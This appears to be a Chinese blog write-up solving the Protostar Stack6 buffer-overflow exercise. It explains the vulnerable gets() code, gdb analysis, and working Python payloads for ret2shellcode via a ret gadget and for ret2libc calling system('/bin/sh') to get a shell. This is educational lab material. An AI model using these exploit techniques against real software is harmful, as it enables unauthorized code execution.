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Pwn系列之Protostar靶场 Stack6题解

2023-04-18 20:44 由 嘉沐 发表于 #其他

源码如下：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

首先，我们先来分析这段程序在做什么？

  1. 第1-4行导入一些常见的库函数
  2. 第6行定义了getpath()函数
  3. 第8行定义了一个buffer数组，数组长度是64
  4. 第9行定义了一个unsigned int 变量，变量名ret
  5. 第11行打印输出字符串“input path please”
  6. 第13行用gets函数向buffer数组写入字符
  7. 第15行用编译器的内建函数__builtin_return_address(0)返回当前函数的返回地址，需要进一步说明的是__builtin_return_address(1)是返回调用getpath函数的函数的返回地址（Caller's ret）。
  8. 第17行-20行就是判断该返回地址的高位是否是0xbf，如果是，退出函数。
  9. 第22行打印buffer的值

不难知道，main函数是Caller，所以第15行的返回值一定就是main函数中的下一条指令的地址，我们来查看一下当程序运行时，系统为该程序分配的栈地址是多少。

先在main函数里打个断点（程序运行后，才会由内存映射），然后使用info proc map查看

Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

第17行可以看到，栈空间的首地址是0xbffeb000。所以源代码中的if判断针对性非常强，也就是说没法将getpath的返回地址直接返回到buffer的首地址（因为buffer在栈上），实现ret2shellcode。

但是真的不能利用了吗？显然还有机会！但是机会是有前提的。这道题存在两个假设：

  1. 假设栈上可以执行代码（ret2shellcode）

  2. 假设栈上不能执行代码（ret2libc）

接下来，我们将根据两个假设做进一步分析。

getpath的汇编代码：

(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>:	push   ebp
0x08048485 <getpath+1>:	mov    ebp,esp
0x08048487 <getpath+3>:	sub    esp,0x68
0x0804848a <getpath+6>:	mov    eax,0x80485d0
0x0804848f <getpath+11>:	mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:	call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:	mov    eax,ds:0x8049720
0x0804849c <getpath+24>:	mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:	call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:	lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:	mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:	call   0x8048380 <gets@plt>
0x080484af <getpath+43>:	mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:	mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:	mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:	and    eax,0xbf000000
0x080484bd <getpath+57>:	cmp    eax,0xbf000000
0x080484c2 <getpath+62>:	jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:	mov    eax,0x80485e4
0x080484c9 <getpath+69>:	mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:	mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:	mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:	call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:	mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:	call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:	mov    eax,0x80485f0
0x080484e9 <getpath+101>:	lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:	mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:	mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:	call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:	leave  
0x080484f9 <getpath+117>:	ret    
End of assembler dump.

看汇编代码重点关注的是它的栈结构，尤其是buffer距离ret的距离。我们尝试画出getpath的栈图（大致就可以，不需要画的多细，找距离也是通过构造特殊输入计算的，而不是根据栈图计算的。）

假设一：栈上可以执行代码

正常的ret2shellcode思路：如果栈上可以执行代码，那么我们需要修改ret的返回地址，要控制ret的返回地址到shellcode的首地址，执行shellcode。但现在ret的返回地址会被检查，所以需要在正常思路稍作改动即可。

第一个ret会被检查，那么我们控制第一个ret返回的是getpath的ret指令地址，地址为是0x080484f9。此时成功绕过内建函数检查。接着控制第二个ret指向shellcode的首地址，当运行到第2个ret时，eip加载shellcode的首地址，然后就会跳转到buffer里执行shellcode代码！

要找到ret位置，首先我们构造特殊的字符串

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

然后运行程序

Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

在0x55555555中出现段错误，出现段错误的原因是ret跳转指令时发现这个地址无效。所以该地址就是ret的地址。

0x55在我们构造的字符串里是’U‘，所以只要把'U'的地址替换为ret的地址即可。具体修改如下：

(gdb) x /10xw $esp
0xbffff78c:	0x080484f9	0xbffff794	0xcccccccc	0xbffff800
0xbffff79c:	0xb7eadc76	0x00000001	0xbffff844	0xbffff84c
0xbffff7ac:	0xb7fe1848	0xbffff800

payload如下：

# 没有真的写shellcode,而是用0xc来模拟

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

ret = struct.pack("II",0x080484f9,0xbffff794)
shellcode = struct.pack("I",0xcccccccc)

payload = buffer + ret + shellcode
print payload

假设二：栈上不可以执行代码

当栈上无法执行代码时，shellcode写入栈就没有了任何意义。那么如何利用呢？考虑的方法是借助libc库里的可执行函数，比如system()函数。system执行shell需要参数，比如“/bin/sh”字符串，我们同样也需要在libc库空间里找这个字符串。

当程序运行到ret时，ret里记录的是system函数的入口地址，程序就会jmp到system函数，system函数执行需要参数，程序就会读取"/bin/sh"字符串作为参数传递给system函数，这样就构成了system("/bin/sh")命令执行，轻松拿到shell。

如果对整个压栈的过程不是很清楚的同学们可能会疑惑，为什么syetem函数的入口地址和参数之间要隔一个system的返回地址呢？这里我简单做一个解释。

正常调用一个函数他有一个规约，对于一个main函数调用gets(buffer)函数来说，在main函数里会先把buffer参数压栈（如果是多个参数的的话，从右往左压栈），然后call gets函数。call 命令一般会干两件事，第一件事是push eip，也就是把gets函数的下一条指令地址压栈（这就是为什么栈上要放一个ret的返回的地址）。第二件事是jmp gets，跳转到gets的函数入口。

首先在libc里找到system函数的入口地址（为什么可以呢，因为libc库已经被链接到程序里了，所以可以直接搜system函数的地址）

(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

在libc库空间搜索/bin/sh字符串

user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
1176511 /bin/sh

1176511是一个相对地址（10进制），所以还要加上libc的基址0xb7e97000（查看内存映射可得出）

Payload如下：

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"

shellcode = struct.pack("I",0xb7e97000+1176511)

payload = buffer +system+ ret + shellcode
print payload

踩坑：

如果直接在gdb里尝试这个Payload会出现一个错误：

__libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
	in ../sysdeps/posix/system.c

使用下面这条指令，getshell!

(python exp1.py; cat) | /opt/protostar/bin/stack6

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